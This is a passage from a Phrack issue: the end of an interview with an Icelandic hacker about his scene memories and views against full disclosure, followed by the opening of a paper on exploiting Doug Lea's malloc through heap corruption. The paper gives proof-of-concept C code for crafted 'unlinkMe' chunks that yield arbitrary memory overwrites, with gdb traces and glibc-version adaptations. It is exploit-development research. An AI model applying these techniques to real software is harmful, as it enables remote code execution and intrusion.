             Computers: 2 laptops, 3 intel machines, indigo II, and a
                        sparc station
             Member of: smapika international
              Projects: Mostly just stuff for my work and school related
                        things.

|=---=[ Favorite things


          Women: brunettes, blondes, and I prefer they have charisma,
                 ambition, independence, intelligence, sense of humor
           Cars: German of course ;>
          Foods: Italian, asian
        Alcohol: beer, vodka/coke
          Music: trance/techno, rock, classical
        Movies: Pianist, godfather, Dune, LOTR, Bad boy bubby, Happiness
Books & Authors:
           Urls:
         I like: Achiving my goals, honesty, integrity, wachyness
     I dislike: Waking up very early in the morning, constant rain, stuck
                in an office all day, fake people
```

|=---=[Life in 3 sentences

No fear. Never give up. Never surrender.

|=---=[Passions | What makes you tick

I like to set myself some sort of goal and try to achieve that within a certain amount of time. Being able to be my own boss is probably my greatest passion. I don't like to take orders and I value my independence greatly and the ability to do whatever I want is pretty important to me.

In the past I basically quit everything to do almost nothing but computers/inet/hacking. I did that since I was around 16 until I was 20. I audited code around the clock, hacking, wrote exploits, and chatted with my friends on irc from dusk till dawn basically.

The biggest experience for me was probably meeting the people that I did and the influence they had on me to improve myself. I probably have meeting antilove/RawPower and crazy-b at the top of my list with regards to that and they both really influenced me a lot and they probably provided me with my greatest experience with regards to hacking.

|=---=[Which research have you done or which one gave you the most fun?

None much more than any other. Whenever I found some bug or something that I knew was unknown and the satisfaction of exploiting it was a lot of fun.

--=[Memorable Experiences

I will never forget getting run over by a bus when I was 14 and having to stay in a hospital for 3 months and the frequent trips for another year afterwards pretty much is something I will never forget. Also the fact that the longest strike of Icelandic highschool teachers in icelandic history was happening at the exact same time I was stuck in a bed in a hospital.

Installing my first Linux system(back in '94 i think) and thinking that the installation floppy shell prompt from the slackware distro was basically a full installation of slackware ;> I had hardly any previous experience with Linux at the time.

Spending an absurd amount of time at my computer doing crazy stuff for no other reason other than to get the get the best rush imaginable.

Meeting crazy-b for the first time on the same system we were both hacking and then deciding to meet on irc and becoming friends in the process.

When crazy-b had to go into the norwegian army he wrote a small program that was a rudimentary irc client that piped input from an irc channel to a script that sent an sms to his phone with the input and also him being able to send an email to his address that piped the content of the mail to the irc channel. This way he could still irc from his mobile phone despite being in the army ;>

Meeting the great antilove back in '97 and getting some private samba warez ;>

Having antilove visit Iceland twice and doing lots of cool stuff with him like rollerblading, hunting for smapika, acting stupid, him teaching me how to lockpick, finding new bugs, writing exploits, teaching me how to bluebox, etc.

Totally destroying my car when me and antilove were driving to a kfc in 2001 because some girl ran a red light at about 80km/h in the morning and then laughing about it the entire day for some reason.

All the security.is weekends with the exploits we wrote and the bugs that we found together and with the trademark security.is hamburgers as made by portal.

Having lots of fun with mikasoft and ga when they visited Iceland for new years a few years ago and especially when mikasoft was teaching yoga at a new years eve dinner my family was throwing. Also the duck liver pat was disgusting.

Going to France with Icelandic friends and meeting a lot of hackers in Paris and having like 10 guys sleeping in the smallest room you could imagine. Then taking a cool train trip from Paris to montpellier and meeting a lot of other hackers and just totally invading montpellier and taking over an internet cafe for a week ;> Also hanging out at the beech with the amazingly cool french guys and starting a fire and drinking beer and listening to good music.

Going to the club La Dune on our FIRST night in montpellier with all the french hackers/etc and buying a lot of champagne for everyone and antilove and nitro buying a ton of vodka for a group of like 20 people and just partying the entire night and watching all the non french people make total asses of themselves.

Same night at La dune I will never forget witnessing Candypimp going beserk after drinking way too much and trying to jump into the ocean and then disapeering. we called the police to search for an 'insane' drunk Icelandic person that couldn't speak english anymore and who thought he was in his home city of Akureyri and not 50km away from montpellier and probably even didn't know where we were staying!

JimJones was really drunk that night too and he passed out on some tree before waking up again and deciding to take a piss. He went into some ditch and somehow he managed to piss all over himself! If I remember correctly me, nitro, and antilove had to remove his clothes that night because he was too drunk to do it himself. He was then called pissman for the duration of the trip ;>

Going to Las vegas with Starcon for blackhat and defcon and actually PAYING for blackhat but I only went to 1 speech(halvars) because my brother took the time to come down from Seattle to visit me.

Going to defcon and seeing how amazingly commercial and fake it really is. Just look at the shit being sold there and all those stupid t-shirt stands.

The coolest thing about defcon was the K2 party where a lot of people were hanging out and it was a very memorable night and I had nice talks with a lot of cool people.

A recent jimjones visit to Iceland where we really didn't do anything except relax and drink beer and eat some BBQ. We also enjoyed a very nice viewing of bad boy bubby which I recommend to anyone that wants a good laugh and some insight into the world of jimjones(based on his lifes story).

|=---=[Open Interview

[can give as much detailed answers here as you like]

Q: When did you start to play with computers?
A: I was probably around 12 years old when I got my first real computer.

Q: When did you had your first contact to the 'scene'?
A: Boy... I guess it is probably sometime in 1995 and I got involved with some "hackers" doing some questionable things ;> I think I started off by joining #hack on IRCnet and also #shells on efnet(ehrm! ;>)

Q: When did you for your first time connect to the internet?
A: Was at my school when I was probably around 13 years old and we had a 2400 baud modem and some old dial up program called kermit, i think, that we used to call some line at the Icelandic university. It was basically just a direct connection to a hp-ux box and someone tought me how to use ircii and so basically my first experience with the Internet was also my first time with irc.

Q: What other hobbies do you have?
A: I like to do stuff with my friends,go see movies, fish, read, go out for drinks, and just anything that comes up.

Q: ...and how long did it take until you joined irc? Do you remember the first channel you joined?
A: Again this was not very far between since I started irc pretty much the same time. I believe the first channel I joined was #iceland.

Q: What's your architecture / OS of choice?
A: Im so used to intel so I really can't pick anything else and Linux is still my preferred OS although i have netbsd here somewhere.

Q: What do you think about anti.security.is and non-disclosure?
A: anti security was a good idea but ultimately it was a failure. The reason it failed was that the people that supported none-disclosure and

took part in antisec discussions were constantly arguing amongst themselves about a lot of stuff some of which was for good reasons but also stuff that was totally out there and eventually it lead to antisec dying.

I personally believe that none-disclosure is the way to go and I have believed that for some time now. I don't judge people that disclose because I remember disclosing bugs/exploits at one point and so I am not really in a position to flame people that continue to do so.

I mean antisec also had some stupid information in some areas specifcally about the true reasons behind antisec were not to create some greater security in the world or something like that which was mentioned in the FAQ and we took a lot of crap for. It was to keep security research where it belongs, with those that actually did it and at most a small tight knit group. That basically meant that people that found bugs, wrote exploits, and hacked wanted to keep their exploits/research private so that they had some nice private warez for some time ;>

Full disclosure is for equally selfish reasons because it really boils down to two things: fame and money. People think, rightly so, that by releasing bugs or exploits that they become recognized among their peers and that might eventually lead to a job in security or something like that. People that say they release bugs/exploits for the good of the world or something like that are full of shit.

Q: What do you think about the right of other 'research' groups to forbid other organizations the use of their exploits ("Copyright on exploits")?
A: Seriously who would care about a copyright header on some exploit? People would use it anyways.

Q: What do you thing about full-disclosure. Is it important or dangerous?
A: I know I don't like it and there are a lot of good reasons why it sucks. It ruins bugs! ;> And there are some negative "world issues" because every hacker that wants to make a name for himself will try to write an exploit for it and subsequently release it. Maybe he doesn't release directly to BUGTRAQ but he gives it to lots of "friends" which leak it of course and soon enough its everywhere.

What happens next is that every script kiddie and some more advanced script kiddies will use the exploit and deface sites, ruin stuff, and then soon a worm will appear. I do not personally have anything against those things per se but I'm sure a lot of people do. If the vulnerability is unknown or kept private such things would not happen.

Full disclosure can definetly be really dangerous and we all know that the people that discover bugs in software aren't on some quest to secure software for the good of the world. They do it for themselves. Also why should hackers do the job for software companies and even if they publish they risk getting sued or something? I also hate all those full disclosure policies that say you need to give a vendor a month or something before publishing and all the other stupid rules.
My advice: don't disclose - avoid the hassle.

I do however agree to some of the arguments about the necessity of full disclosure. I can't remember any right now so forget that but ultimately full disclosure of any vulnerability is the fuel the drives the information security companies that don't care about anything except their bottom line.

Q: If you see or hear about various protection meassures against hackers such as grsecurity, PaX, Owl or strong encryption (SSH, SSL or IPSec) do you think hacking will still be possible in the future? What kind of vulnerabilities will people focus on in the future?
A: If we assume that all these programs are successful in stopping most

buffer overflow attacks and it has become 'impossible' to evade these programs then just new types of vulnerabilities will be discovered. Logic bugs in programs are just as dangerous as buffer overflows and so hacking will of course be possible in the future the only thing that will change are the vulnerabilities and the methods.

Q: How do you feel when yet another XSS vulnerability hits the media? (Do you have a regex covering XSS postings in your spam filter?)
A: blah

Q: What will hacking in the future look like? More complicated or easier?
A: no idea.

Q: You have been in the scene for quite a while. If you look back, what was the worst thing that happened to the scene? What was the best that happened?
A: This "scene" always comes up. I never followed any specific scene or anything. I was just chatting with my friends and hacking with them and that was about it. Although I guess the commericialization of everything in the scene was probably the worst thing that happened. Didn't bugtraq get sold for millions of dollars? A mailing list! And companies buying exploits how low can u get?

Q: If you could turn the clock backwards, what would you do different in your young life ?
A: My young life? Portal calls me grandpa. I guess I would go back a few years into the past and avoid losing contact with my old friends.

=---=[One word comments

[give a 1-word comment to each of the words on the left]

Digital Millennium Copyright Act (DMCA): blabla
security.is : sleeping
Georges. W. BUSH : war
Companies buying exploits from hackers : silly
IRC : burp
Hacker meetings : colorful
Full Disclosure Policy : pseudo
anti.security.is : dead
Whitehats : dingdong

|=---=[Any suggestions/comments/flames to the scene and/or specific people?

Do what you want to do and don't let anyone control you.

|=---=[The future of the computer underground

What is the computer underground anyways? People talk about it as if it were some very formal and controlled thing or something. The computer underground as I understand it basically just consists of various groups and places people hang out at and talk and do stuff together in small seperate groups. I have no idea where it is gona go in the future.

|=---=[Shoutouts & Greetings

I wana send a big hello to:

security.is, antilove(miss u bro), crazy-b(beware of hermaphrodites), cleb(rest in peace man), old ADM pals, JimJones, old #hax guys! stealth, sk8(freesk8.org), mikasoft, ga, ace24, ig-88, ghettodxm, scut, horizon, duke, cheez, starcon, lkm, nitro, bawd, wtf, kewl, joey, Synner/m0nty/Kod/Jackal(crazy greeks) and everyone of my other old friends that I haven’t talked to in years.

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f

```
|=---------------[ Advanced Doug lea's malloc exploits ]-----------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------[ jp <jp@corest.com> ]--------------------------=|
|=-----------------------------------------------------------------------=|
```

1 - Abstract
2 - Introduction
3 - Automating exploitation problems
4 - The techniques
    4.1 - aa4bmo primitive
        4.1.1 - First unlinkMe chunk
        4.1.1.1 - Proof of concept 1: unlinkMe chunk
        4.1.2 - New unlinkMe chunk
    4.2 - Heap layout analysis
        4.2.1 - Proof of concept 2: Heap layout debugging
    4.3 - Layout reset - initial layout prediction - server model
    4.4 - Obtaining information from the remote process
        4.4.1 - Modifying server static data - finding process' DATA
        4.4.2 - Modifying user input - finding shellcode location
            4.4.2.1 - Proof of concept 3 : Hitting the output
        4.4.3 - Modifying user input - finding libc's data
            4.4.3.1 - Proof of concept 4 : Freeing the output
        4.4.4 - Vulnerability based heap memory leak - finding libc's DATA
    4.5 - Abusing the leaked information
        4.5.1 - Recognizing the arena
        4.5.2 - Morecore
            4.5.2.1 - Proof of concept 5 : Jumping with morecore
        4.5.3 - Libc's GOT bruteforcing
            4.5.3.1 - Proof of concept 6 : Hinted libc's GOT bruteforcing
        4.5.4 - Libc fingerprinting
        4.5.5 - Arena corruption (top, last remainder and bin modification)
    4.6 - Copying the shellcode 'by hand'
5 - Conclusions
6 - Thanks
7 - References

Appendix I - malloc internal structures overview

--[1. Abstract

This paper details several techniques that allow more generic and reliable exploitation of processes that provide us with the ability to overwrite an almost arbitrary 4 byte value at any location.
Higher level techniques will be constructed on top of the unlink() basic technique (presented in MaXX's article [2]) to exploit processes which allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic memory allocator).
unlink() is used to force specific information leaks of the target process memory layout. The obtained information is used to exploit the target without any prior knowledge or hardcoded values, even when randomization of main object's and/or libraries' load address is present.

Several tricks will be presented along different scenarios, including:

* special chunks crafting (cushion chunk and unlinkMe chunk)
* heap layout consciousness and analysis using debugging tools
* automatically finding the injected shellcode in the process memory
* forcing a remote process to provide malloc's internal structures addresses
* looking for a function pointer within glibc
* injecting the shellcode into a known memory address

The combination of these techniques allows to exploit the OpenSSL 'SSLv2

Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double free' [7] vulnerabilities in a fully automated way (without hardcoding any target based address or offset), for example.

--[2. Introduction

Given a vulnerability which allows us to corrupt malloc's internal structures (i.e. heap overflow, double free(), etc), we can say it 'provides' us with the ability to perform at least an 'almost arbitrary 4 bytes mirrored overwrite' primitive (aa4bmo from now on).
We say it's a 'mirrored' overwrite as the location we are writing at minus 8 will be stored in the address given by the value we are writing plus 12. Note we say almost arbitrary as we can only write values that are writable, as a side effect of the mirrored copy.
The 'primitive' concept was previously introduced in the 'Advances in format string exploitation' paper [4] and in the 'About exploits writing' presentation [5].
Previous work 'Vudo - An object superstitiously believed to embody magical power' by Michel 'MaXX' Kaempf [2] and 'Once upon a free()' [3] give fully detailed explanations on how to obtain the aa4bmo primitive from a vulnerability. At [8] and [9] can be found the first examples of malloc based exploitation.
We'll be using the unlink() technique from [2] as the basic lower level mechanism to obtain the aa4bmo primitive, which we'll use through all the paper to build higher level techniques.

```
                   malloc                          higher
vulnerability  ->  structures  ->  primitive  ->  level
                   corruption                      techniques
---------------------------------------------------------------------------
heap overflow         unlink()                        freeing the output
double free()  ->  technique   ->  aa4bmo     ->  hitting the output
...                                                cushion chunk
                                                   ...
```

This paper focuses mainly on the question that arises after we reach the aa4bmo primitive: what should we do once we know a process allows us to overwrite four bytes of its memory with almost any arbitrary data?
In addition, tips to reach the aa4bmo primitive in a reliable way are explained.

Although the techniques are presented in the context of malloc based heap overflow exploitation, they can be employed to aid in format string exploits as well, for example, or any other vulnerability or combination of them, which provide us with similar capabilities.

The research was focused on the Linux/Intel platform; glibc-2.2.4, glibc-2.2.5 and glibc-2.3 sources were used, mainly the file malloc.c (an updated version of malloc can be found at [1]). Along this paper we'll use 'malloc' to refer to Doug Lea's malloc based implementation.

--] 3. Automating exploitation problems

When trying to answer the question 'what should we do once we know we can overwrite four bytes of the process memory with almost any arbitrary data?', we face several problems:

A] how can we be sure we are overwriting the desired bytes with the desired bytes?
As the aa4bmo primitive is the underlying layer that allows us to implement the higher level techniques, we need to be completely sure it is working as expected, even when we know we won't know where our data will be located. Also, in order to be useful, the primitive should not crash the exploited process.

B] what should we write?
We may write the address of the code we intend to execute, or we may modify a process variable. In case we inject our shellcode in the process, we need to know its location, which may vary together with the evolving process heap/stack layout.

C] where should we write?
Several known locations can be overwritten to modify the execution flow, including for example the ones shown in [10], [11], [12] and [14].
In case we are overwriting a function pointer (as when overwriting a stack frame, GOT entry, process specific function pointer, setjmp/longjmp, file descriptor function pointer, etc), we need to know its precise location. The same happens if we plan to overwrite a process variable. For example, a GOT entry address may be different even when the source code is the same, as compilation and linking parameters may yield a different process layout, as happens with the same program source code compiled for different Linux distributions.

Along this paper, our examples will be oriented at overwriting a function pointer with the address of injected shellcode. However, some techniques also apply to other cases.

Typical exploits are target based, hardcoding at least one of the values required for exploitation, such as the address of a given GOT entry, depending on the targeted daemon version and the Linux distribution and release version. Although this simplifies the exploitation process, it is not always feasible to obtain the required information (i.e. a server can be configured to lie or to not disclose its version number). Besides, we may not have the needed information for the target. Bruteforcing more than one exploit parameter may not always be possible, if each of the values can't be obtained separately.
There are some well known techniques used to improve the reliability (probability of success) of a given exploit, but they are only an aid for improving the exploitation chances. For example, we may pad the shellcode with more nops, we may also inject a larger quantity of shellcode in the process (depending on the process being exploited) inferring there are more possibilities of hitting it that way. Although these enhancements will improve the reliability of our exploit, they are not enough for an exploit to work always on any vulnerable target. In order to create a fully reliable exploit, we'll need to obtain both the address where our shellcode gets injected and the address of any function pointer to overwrite.

In the following, we discuss how these requirements may be accomplished in an automated way, without any prior knowledge of the target server. Most of the article details how we can force a remote process to leak the required information using aa4bmo primitive.

--] 4. The techniques

--] 4.1 aa4bmo primitive

--] 4.1.1 First unlinkMe chunk

In order to be sure that our primitive is working as expected, even in scenarios where we are not able to fully predict the location of our injected fake chunk, we build the following 'unlinkMe chunk':

```
 -4         -4      what     where-8    -11      -15      -19    ...
|--------|--------|--------|--------|--------|--------|--------|--------|...
 sizeB    sizeA    FD       BK
 ----------- nasty chunk -----------|--------|-------------------->
                                            (X)
```

We just need a free() call to hit our block after the (X) point to overwrite 'where' with 'what'.

When free() is called the following sequence takes place:

- chunk_free() tries to look for the next chunk, it takes the chunk's size (<0) and adds it to the chunk address, obtaining always the sizeA of the 'nasty chunk' as the start of the next chunk, as all the sizes after the (X) are relative to it.

- Then, it checks the prev_inuse bit of our chunk, but as we set it (each of the sizes after the (X) point has the prev_inuse bit set, the IS_MMAPPED bit is not set) it does not try to backward consolidate (because the previous chunk 'seems' to be allocated).

- Finally, it checks if the fake next chunk (our nasty chunk) is free. It takes its size (-4) to look for the next chunk, obtaining our fake sizeB, and checks for the prev_inuse flag, which is not set. So, it tries to unlink our nasty chunk from its bin to coalesce it with the chunk being freed.

- When unlink() is called, we get the aa4bmo primitive. The unlink() technique is described in [2] and [3].

--] 4.1.1.1 Proof of concept 1: unlinkMe chunk

We'll use the following code to show in a simple way the unlinkMe chunk in action:

```
#define WHAT_2_WRITE  0xbfffff00
#define WHERE_2_WRITE 0xbfffff00
#define SZ            256
#define SOMEOFFSET    5 + (rand() % (SZ-1))
#define PREV_INUSE    1
#define IS_MMAP       2
int main(void){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = WHAT_2_WRITE;
   unlinkMe[i++] = WHERE_2_WRITE-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return 0;
}
```

```
Breakpoint 3, free (mem=0x804987c) at heapy.c:3176

     if (mem == 0)    /* free(0) has no effect */
3181      p = mem2chunk(mem);
3185      if (chunk_is_mmapped(p))    /* release mmapped memory. */
```

We did not set the IS_MMAPPED bit.

```
3193      ar_ptr = arena_for_ptr(p);
3203      (void)mutex_lock(&ar_ptr->mutex);
3205      chunk_free(ar_ptr, p);
```

After some checks, we reach chunk_free().

```
(gdb) s
chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221
```

Let's see how does our chunk looks at a random location...

```
(gdb) x/20x p
0x8049874:      0xfffffd71      0xfffffd6d      0xfffffd69      0xfffffd65
```

```
0x8049884:      0xfffffd61      0xfffffd5d      0xfffffd59      0xfffffd55
0x8049894:      0xfffffd51      0xfffffd4d      0xfffffd49      0xfffffd45
0x80498a4:      0xfffffd41      0xfffffd3d      0xfffffd39      0xfffffd35
0x80498b4:      0xfffffd31      0xfffffd2d      0xfffffd29      0xfffffd25
```

We dumped the chunk including its header, as received by chunk_free().

```
3221      INTERNAL_SIZE_T hd = p->size; /* its head field */
3235      sz = hd & ˜PREV_INUSE;

(gdb) p/x hd
$5 = 0xfffffd6d
(gdb) p/x sz
$6 = 0xfffffd6c

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);
```

Using the negative relative size, chunk_free() gets the next chunk, let’s see which is the ’next’ chunk:

```
(gdb) x/20x next
0x80495e0:      0xfffffffc      0xfffffffc      0xbfffff00      0xbffffef8
0x80495f0:      0xfffffff5      0xfffffff1      0xffffffed      0xffffffe9
0x8049600:      0xffffffe5      0xffffffe1      0xffffffdd      0xffffffd9
0x8049610:      0xffffffd5      0xffffffd1      0xffffffcd      0xffffffc9
0x8049620:      0xffffffc5      0xffffffc1      0xffffffbd      0xffffffb9

(gdb) p/x nextsz
$7 = 0xfffffffc
```

It’s our nasty chunk...

```
3239      if (next == top(ar_ptr))    /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))   /* consolidate backward */
```

We avoid the backward consolidation, as we set the PREV_INUSE bit.

```
3294      if (!(inuse_bit_at_offset(next, nextsz)))
                /* consolidate forward */
```

But we force a forward consolidation. The inuse_bit_at_offset() macro adds nextsz (-4) to our nasty chunk’s address, and looks for the PREV_INUSE bit in our other -4 size.

```
3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);
```

unlink() is called with our supplied values: 0xbffffef8 and 0xbfffff00 as forward and backward pointers (it does not crash, as they are valid addresses).

```
             next = chunk_at_offset(p, sz);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);
```

fronlink() is called and our chunk is inserted in the proper bin.

```
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0
   bin 126 @ 0x40018430
      free_chunk @ 0x80498d8 - size 0xfffffd64
```

The chunk was inserted into one of the bigger bins... as a consequence of its 'negative' size.
The process won't crash if we are able to maintain this state. If more calls to free() hit our chunk, it won't crash. But it will crash in case a malloc() call does not find any free chunk to satisfy the allocation requirement and tries to split one of the bins in the bin number 126, as it will try to calculate where is the chunk after the fake one, getting out of the valid address range because of the big 'negative' size (this may not happen in a scenario where there is enough memory allocated between the fake chunk and the top chunk, forcing this layout is not very difficult when the target server does not impose tight limits to our requests size).

We can check the results of the aa4bmo primitive:

```
(gdb) x/20x 0xbfffff00

                                !!!!!!!!!!                      !!!!!!!!!!
0xbfffff00:     0xbfffff00      0x414c0065      0x653d474e      0xbffffef8
0xbfffff10:     0x6f73692e      0x39353838      0x53003531      0x415f4853
0xbfffff20:     0x41504b53      0x2f3d5353      0x2f727375      0x6562696c
0xbfffff30:     0x2f636578      0x6e65706f      0x2f687373      0x6d6f6e67
0xbfffff40:     0x73732d65      0x73612d68      0x7361706b      0x4f480073
```

If we add some bogus calls to free() in the following way:

```
   for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET);
```

we obtain the following result for example:

```
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 126 @ 0x40018430
      free_chunk @ 0x8049958 - size 0x8049958
      free_chunk @ 0x8049954 - size 0xfffffd68
      free_chunk @ 0x8049928 - size 0xfffffd94
      free_chunk @ 0x8049820 - size 0x40018430
      free_chunk @ 0x80499c4 - size 0xfffffcf8
      free_chunk @ 0x8049818 - size 0xfffffea4
```

without crashing the process.

--] 4.1.2 New unlinkMe chunk

Changes introduced in newer libc versions (glibc-2.3 for example) affect our unlinkMe chunk. The main problem for us is related to the addition of one flag bit more. SIZE_BITS definition was modified, from:

```
#define SIZE_BITS (PREV_INUSE|IS_MMAPPED)
```

to:

```
#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)
```

The new flag, NON_MAIN_ARENA is defined like this:

```
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
   from a non-main arena.  This is only set immediately before handing
   the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4
```

This makes our previous unlinkMe chunk to fail in two different points in systems using a newer libc.

Our first problem is located within the following code:

```
public_fREe(Void_t* mem)
{
...
  ar_ptr = arena_for_chunk(p);
...
  _int_free(ar_ptr, mem);
...
```

where:

```
#define arena_for_chunk(ptr) \
 (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)
```

and

```
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
```

If heap_for_ptr() is called when processing our fake chunk, the process crashes in the following way:

```
0x42074a04 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a04 <free+84>:      and    $0x4,%edx
(gdb) x/20x $edx
0xffffffdd:     Cannot access memory at address 0xffffffdd

0x42074a07 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a07 <free+87>:      je     0x42074a52 <free+162>

0x42074a09 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a09 <free+89>:      and    $0xfff00000,%eax

0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi
(gdb) x/x $eax
0x8000000:      Cannot access memory at address 0x8000000

Program received signal SIGSEGV, Segmentation fault.
0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi
```

So, the fake chunk size has to have its NON_MAIN_ARENA flag not set.

Then, our second problem takes places when the supplied size is masked with the SIZE_BITS. Older code looked like this:

```
      nextsz = chunksize(next);
0x400152e2 <chunk_free+64>:        mov    0x4(%edx),%ecx
0x400152e5 <chunk_free+67>:        and    $0xfffffffc,%ecx
```

and new code is:

```
      nextsize = chunksize(nextchunk);
0x42073fe0 <_int_free+112>:     mov    0x4(%ecx),%eax
0x42073fe3 <_int_free+115>:     mov    %ecx,0xffffffec(%ebp)
0x42073fe6 <_int_free+118>:     mov    %eax,0xffffffe4(%ebp)
0x42073fe9 <_int_free+121>:     and    $0xfffffff8,%eax
```

So, we can't use -4 anymore, the smaller size we can provide is -8. Also, we are not able anymore to make every chunk to point to our nasty chunk. The following code shows our new unlinkMe chunk which solves both problems:

```
unsigned long *aa4bmoPrimitive(unsigned long what,
                               unsigned long where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;
   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
    // 1st nasty chunk
   unlinkMe[i++] = -4;    // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
    // 2nd nasty chunk
   unlinkMe[i++] = -4; // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
            // relative negative offset to 1st nasty chunk
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
            // relative negative offset to 2nd nasty chunk
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}
```

The process is similar to the previously explained for the first unlinkMe chunk version. Now, we are using two nasty chunks, in order to be able to point every chunk to one of them. Also, we added a -4 (PREV_INUSE flag not set) before each of the nasty chunks, which is accessed in step 3 of the '4.1.1 First unlinkMe chunk' section, as -8 is the smaller size we can provide.

This new version of the unlinkMe chunk works both in older and newer libc versions. Along the article most proof of concept code uses the first version, replacing the aa4bmoPrimitive() function is enough to obtain an updated version.

--] 4.2 Heap layout analysis

You may want to read the 'Appendix I - malloc internal structures overview' section before going on.
Analysing the targeted process heap layout and its evolution allows to understand what is happening in the process heap in every moment, its state, evolution, changes... etc. This allows to predict the allocator behavior and its reaction to each of our inputs.
Being able to predict the heap layout evolution, and using it to our advantage is extremely important in order to obtain a reliable exploit.
To achieve this, we'll need to understand the allocation behavior of the process (i.e. if the process allocates large structures for each connection, if lots of free chunks/heap holes are generated by a specific command handler, etc), which of our inputs may be used to force a big/small allocation, etc.
We must pay attention to every use of the malloc routines, and how/where we might be able to influence them via our input so that a reliable situation is reached.
For example, in a double free() vulnerability scenario, we know the second free() call (trying to free already freed memory), will probably crash the process. Depending on the heap layout evolution between the first free() and the second free(), the portion of memory being freed twice may: have not changed, have been reallocated several times, have been coalesced with other chunks or have been overwritten and freed.

The main factors we have to recognize include:

A] chunk size: does the process allocate big memory chunks? is our input stored in the heap? what commands are stored in the heap? is there any size limit to our input? am I able to force a heap top (top_chunk) extension?

B] allocation behavior: are chunks allocated for each of our connections? what size? are chunks allocated periodically? are chunks freed periodically? (i.e. async garbage collector, cache pruning, output buffers, etc)

C] heap holes: does the process leave holes? when? where? what size? can we fill the hole with our input? can we force the overflow condition in this hole? what is located after the hole? are we able to force the creation of holes?

D] original heap layout: is the heap layout predictable after process initialization? after accepting a client connection? (this is related to the server mode)

During our tests, we use an adapted version of a real malloc implementation taken from the glibc, which was modified to generate debugging output for each step of the allocator's algorithms, plus three helper functions added to dump the heap layout and state.
This allows us to understand what is going on during exploitation, the actual state of the allocator internal structures, how our input affects them, the heap layout, etc.
Here is the code of the functions we'll use to dump the heap state:

```
static void
#if __STD_C
heap_dump(arena *ar_ptr)
#else
heap_dump(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP DUMP ---\n");
  fprintf(stderr,
            "            ADDRESS   SIZE                FD            BK\n");

  fprintf(stderr,"sbrk_base %p\n",
          (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
            ~MALLOC_ALIGN_MASK));

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;) {
    fprintf(stderr, "chunk      %p 0x%.4x", p, (long)p->size);

    if(p == top(ar_ptr)) {
      fprintf(stderr, " (T)\n");
      break;
    } else if(p->size == (0|PREV_INUSE)) {
      fprintf(stderr, " (Z)\n");
      break;
    }

    if(inuse(p))
       fprintf(stderr," (A)");
    else
       fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk);

    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr)))
       fprintf(stderr," (LR)");
    else if(p->fd==p->bk & ~inuse(p))
       fprintf(stderr," (LC)");

    fprintf(stderr,"\n");
    p = next_chunk(p);
  }
  fprintf(stderr,"sbrk_end  %p\n",sbrk_base+sbrked_mem);
}



static void
#if __STD_C
heap_layout(arena *ar_ptr)
#else
heap_layout(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP LAYOUT ---\n");

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;p=next_chunk(p)) {
    if(p==top(ar_ptr)) {
       fprintf(stderr,"|T|\n\n");
       break;
    }
    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) {
       fprintf(stderr,"|L|");
       continue;
    }
    if(inuse(p)) {
       fprintf(stderr,"|A|");
       continue;
    }
       fprintf(stderr,"|%lu|",bin_index(p->size));
